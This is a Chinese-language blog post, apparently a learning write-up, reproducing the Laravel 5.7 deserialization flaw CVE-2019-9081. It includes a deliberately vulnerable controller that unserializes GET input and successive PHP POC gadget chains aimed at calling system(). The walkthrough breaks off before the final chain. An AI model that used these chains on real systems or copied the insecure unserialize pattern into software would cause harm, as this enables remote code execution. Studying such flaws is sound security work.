laravel5.7 反序列化漏洞复现
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了laravel5.7 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。
前言
之前接触yii2,接下来就遇到laravel5.7的反序列化了,跟着大师傅们的文章复现了一下laravel5.7的反序列化链,学习了一波。
CVE编号是CVE-2019-9081:
The Illuminate component of Laravel Framework 5.7.x has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the PendingCommand class in PendingCommand.php.
去github上下载源码:
laravel5.7,下载下来的可能回没有vendor目录,需要在根目录执行composer install
就可以了。
然后就是构造一个反序列化的利用点了,在routes/web.php里面加一条路由:
Route::get('/unserialize',"UnserializeController@uns");
然后在App\\Http\\Controllers下面写一个控制器:
<?php
namespace App\\Http\\Controllers;
class UnserializeController extends Controller
public function uns()
if(isset($_GET['c']))
unserialize($_GET['c']);
else
highlight_file(__FILE__);
return "uns";
准备工作就做完了,开始分析反序列化链。
反序列化链分析
有一说一这条链真要完完全全进行分析的话,需要一定的开发水平,因为像我这样第一次接触laravel的0开发小白+代码审计小白,利用上注释,能清晰的理解这条链上三分之一的代码就很难得了,所以这条链的审计给我的体会就是学会打断点,忽略掉无用代码(我看不懂的就是无用的,笑),只要一路下去能顺利执行,就不要管中间那些代码是干啥的。
和laravel5.6相比,laravel5.7多了PendingCommand.php这个文件:
该类的作用是命令执行,并获取输出内容。
看一下这个新增的类,发现有一个__destruct()
。经过了之前yii2的审计,现在看到__destruct()
就很兴奋:
$this->hasExecuted
默认是false的,所以可以直接进入run方法:
/**
* Execute the command.
*
* @return int
*/
public function run()
$this->hasExecuted = true;
$this->mockConsoleOutput();
try
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
catch (NoMatchingExpectationException $e)
if ($e->getMethodName() === 'askQuestion')
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
throw $e;
if ($this->expectedExitCode !== null)
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code $this->expectedExitCode but received $exitCode."
);
return $exitCode;
文档注释上写着Execute the command,我差点都以为这是开发留的后门了。。。
不过我们要明确一点,我们最终的目的就是这里:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
所以跟进到$this->mockConsoleOutput();
:
/**
* Mock the application's console output.
*
* @return void
*/
protected function mockConsoleOutput()
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question)
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question)
return $argument->getQuestion() == $question[0];
))
->andReturnUsing(function () use ($question, $i)
unset($this->test->expectedQuestions[$i]);
return $question[1];
);
$this->app->bind(OutputStyle::class, function () use ($mock)
return $mock;
);
一堆我看不懂的代码,不过问题不大,只要可以正常执行到命令执行的call函数,就问题不大,写个POC试试:
<?php
namespace Illuminate\\Foundation\\Testing
class PendingCommand
protected $command;
protected $parameters;
public function __construct()
$this->command="system";
$this->parameters[]="dir";
namespace
use Illuminate\\Foundation\\Testing\\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
报错了:
Trying to get property 'expectedOutput' of non-object
打一下断点,发现是mockConsoleOutput()方法的这里:
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
跟进到createABufferedOutputMock()函数里
:
foreach ($this->test->expectedOutput as $i => $output)
报错的原因就是因为$this->test
没有expectedOutput这个属性。跟进一下这个属性,发现这个属性在trait InteractsWithConsole
中,trait类我们没法实例化,此外就只有一些测试类有这个属性,因此这里就卡住了。这时候想到利用__get方法:
读取不可访问属性的值时,__get() 会被调用。
大师傅们经过寻找,选择了Illuminate\\Auth\\GenericUser类:
attributes
是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()
方法中也有类似的代码:
foreach ($this->test->expectedQuestions as $i => $question)
因此这里同样构造即可:
<?php
namespace Illuminate\\Foundation\\Testing
use Illuminate\\Auth\\GenericUser;
class PendingCommand
protected $command;
protected $parameters;
public $test;
public function __construct()
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
namespace Illuminate\\Auth
class GenericUser
protected $attributes;
public function __construct()
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
namespace
use Illuminate\\Foundation\\Testing\\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
再打一下,发现还是报错:
“Call to a member function bind() on null”
跟进一下,发现还是mockConsoleOutput方法,最后一行出了问题:
$this->app->bind(OutputStyle::class, function () use ($mock)
return $mock;
);
原因应该是没有构造$this->app
,看一下这个app:
/**
* The application instance.
*
* @var \\Illuminate\\Foundation\\Application
*/
protected $app;
说明是\\Illuminate\\Foundation\\Application的实例,构造一波:
<?php
namespace Illuminate\\Foundation\\Testing
use Illuminate\\Auth\\GenericUser;
use Illuminate\\Foundation\\Application;
class PendingCommand
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct()
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
namespace Illuminate\\Foundation
class Application
namespace Illuminate\\Auth
class GenericUser
protected $attributes;
public function __construct()
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
namespace
use Illuminate\\Foundation\\Testing\\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
还是报了错:
Target [Illuminate\\Contracts\\Console\\Kernel] is not instantiable
这就是这条链的构造上最难的点了,打断点看一下哪里的问题,发现是这里:
try
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
没错,已经进行到了最关键的地方了,看到这个$this->app[Kernel::class]
会很懵,$this->app不是application类的实例吗,为什么会当成数组?而Kernel::class又是什么?
Kernel::class
是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\\Contracts\\Console\\Kernel
。
打断点跟进看一下,发现进入了这个函数:
/**
* Get the value at a given offset.
*
* @param string $key
* @return mixed
*/
public function offsetGet($key)
return $this->make($key);
注释也写的很清楚了,返回给定的offset的值,继续跟进make:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
public function make($abstract, array $parameters = [])
return $this->resolve($abstract, $parameters);
继续跟进:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
protected function resolve($abstract, $parameters = [])
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild)
return $this->instances[$abstract];
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract))
$object = $this->build($concrete);
else
$object = $this->make($concrete);
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender)
$object = $extender($object, $this);
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild)
$this->instances[$abstract] = $object;
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
可以看到最终会返回一个object,我们是要调用这个object的call方法来执行命令,全局查找一下,这个执行命令的call方法到底在哪个类:
/**
* Call the given Closure / class@method and inject its dependencies.
*
* @param callable|string $callback
* @param array $parameters
* @param string|null $defaultMethod
* @return mixed
*/
public function call($callback, array $parameters = [], $defaultMethod = null)
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
发现在container类里,而构造的app的类是Application类,这个类正好也是container类的子类,所以最终返回这个Application的实例就可以了。
看一下resolve()方法的代码:
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\\Contracts\\Console\\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]。
$concrete = $this->getConcrete($abstract);
跟进看一下:
/**
* Get the concrete type for a given abstract.
*
* @param string $abstract
* @return mixed $concrete
*/
protected function getConcrete($abstract)
if (! is_null($concrete = $this->getContextualConcrete($abstract)))
return $concrete;
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract]))
return $this->bindings[$abstract]['concrete'];
return $abstract;
第一个if成立不了,主要是这里:
if (isset($this->bindings[$abstract])yii2框架 反序列化漏洞复现